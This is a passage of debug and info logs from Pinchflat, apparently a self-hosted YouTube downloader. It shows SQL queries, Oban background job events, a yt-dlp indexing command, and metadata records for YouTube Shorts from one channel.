s1."max_duration_seconds"))) [] 18:10:09.441 [debug] QUERY OK source="media_items" db=0.9ms idle=4.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:10:09.441 [info] Sent 200 in 9ms 18:10:17.492 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:47.494 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.107 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:11:17.496 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:47.498 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.108 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:12:17.500 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 18:12:47.502 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.109 [info] {"source":"oban","duration":306,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:13:17.504 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:47.506 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.110 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:14:17.508 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:47.510 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.111 [info] {"source":"oban","duration":272,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:15:17.512 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:47.514 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.112 [info] {"source":"oban","duration":342,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:16:17.516 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:47.518 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.113 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:17:17.520 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:47.522 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":2} 18:18:00.114 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:18:17.524 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:47.526 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.115 [info] {"source":"oban","duration":150,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:19:17.528 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:47.530 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.116 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:20:17.532 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:47.534 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.117 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:21:14.838 [info] {"args":{"id":1},"id":17070,"meta":{},"system_time":1787188874838265694,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:21:14.838 [debug] QUERY OK source="sources" db=0.2ms idle=151.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:14.839 [debug] QUERY OK source="settings" db=0.1ms idle=151.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:21:14.839 [debug] QUERY OK source="media_items" db=0.3ms idle=151.9ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:21:14.839 [debug] QUERY OK source="media_items" db=0.1ms idle=8.3ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 18:21:14.840 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:21:14.840 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:21:14.840 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:21:14.841 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [1] 18:21:14.842 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 18:21:14.842 [debug] Current batch of media processed. Will check again in 1000ms 18:21:14.842 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:21:14.842 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:21:14.842 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:21:14.843 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@MichaelSukutJesus --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Michael Sukut/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/57/3c/573cf37971a90ae5386df35fa45a02693c2bfeb9789267cc09c1ed4af7f7900e.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/8f/dd/8fdda715b0592bf5e3922996f8bba7f7ee623991147f9e88963f019c1fa46459.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:21:15.843 [debug] Current batch of media processed. Will check again in 1000ms 18:21:16.844 [debug] Current batch of media processed. Will check again in 1000ms 18:21:17.536 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:17.845 [debug] Current batch of media processed. Will check again in 1000ms 18:21:18.846 [debug] Current batch of media processed. Will check again in 1000ms 18:21:19.847 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", "id" => "BSkDL35jiAY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/BSkDL35jiAY", "playlist_index" => 1, "timestamp" => 1749158462, "title" => "Demons. Pt.10", "upload_date" => "20250605"} 18:21:19.848 [debug] QUERY OK source="sources" db=0.1ms idle=1160.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:21:19.848 [debug] QUERY OK source="sources" db=0.1ms idle=1160.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:19.848 [debug] QUERY OK source="media_items" db=0.2ms idle=1161.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 21:21:02Z], 1] 18:21:19.849 [debug] QUERY OK source="media_items" db=0.5ms idle=1012.8ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.10", "e87d06c0-2f73-44ea-ad6b-a37d67687cf9", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", 1, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 21:21:02Z], ~U[2026-08-20 01:21:19Z], ~U[2026-08-20 01:21:19Z], "", "Demons. Pt.10", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", true, 1, ~U[2025-06-05 21:21:02Z]] 18:21:19.849 [debug] QUERY OK source="sources" db=0.2ms idle=11.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:19.850 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:21:19.850 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1] 18:21:19.850 [debug] Current batch of media processed. Will check again in 1000ms 18:21:20.851 [debug] Current batch of media processed. Will check again in 1000ms 18:21:21.852 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 173, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", "id" => "uObiA41rItQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/uObiA41rItQ", "playlist_index" => 2, "timestamp" => 1749157148, "title" => "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "upload_date" => "20250605"} 18:21:21.853 [debug] QUERY OK source="sources" db=0.2ms idle=165.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:21:21.853 [debug] QUERY OK source="sources" db=0.1ms idle=165.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:21.853 [debug] QUERY OK source="media_items" db=0.1ms idle=166.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:59:08Z], 1] 18:21:21.854 [debug] QUERY OK source="media_items" db=0.5ms idle=166.5ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "c892b295-b8d0-483a-8535-b1fc1254ed80", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", 2, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:59:08Z], ~U[2026-08-20 01:21:21Z], ~U[2026-08-20 01:21:21Z], "", "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", true, 1, ~U[2025-06-05 20:59:08Z]] 18:21:21.854 [debug] QUERY OK source="sources" db=0.1ms idle=13.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:21.855 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:21:21.855 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2] 18:21:21.855 [debug] Current batch of media processed. Will check again in 1000ms 18:21:22.856 [debug] Current batch of media processed. Will check again in 1000ms 18:21:23.857 [debug] Current batch of media processed. Will check again in 1000ms 18:21:24.858 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", "id" => "vmwlPoPSyiY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/vmwlPoPSyiY", "playlist_index" => 3, "timestamp" => 1749155297, "title" => "Demons. Pt. 8. Melchizedek pt.2", "upload_date" => "20250605"} 18:21:24.859 [debug] QUERY OK source="sources" db=0.3ms idle=1171.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:21:24.859 [debug] QUERY OK source="sources" db=0.1ms idle=1172.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:24.860 [debug] QUERY OK source="media_items" db=0.1ms idle=1172.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:28:17Z], 1] 18:21:24.861 [debug] QUERY OK source="media_items" db=0.6ms idle=1016.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 8. Melchizedek pt.2", "22f1ad9a-a853-4932-bd13-73584813b916", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", 3, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:28:17Z], ~U[2026-08-20 01:21:24Z], ~U[2026-08-20 01:21:24Z], "", "Demons. Pt. 8. Melchizedek pt.2", "vmwlPoPSyiY", 180, false, 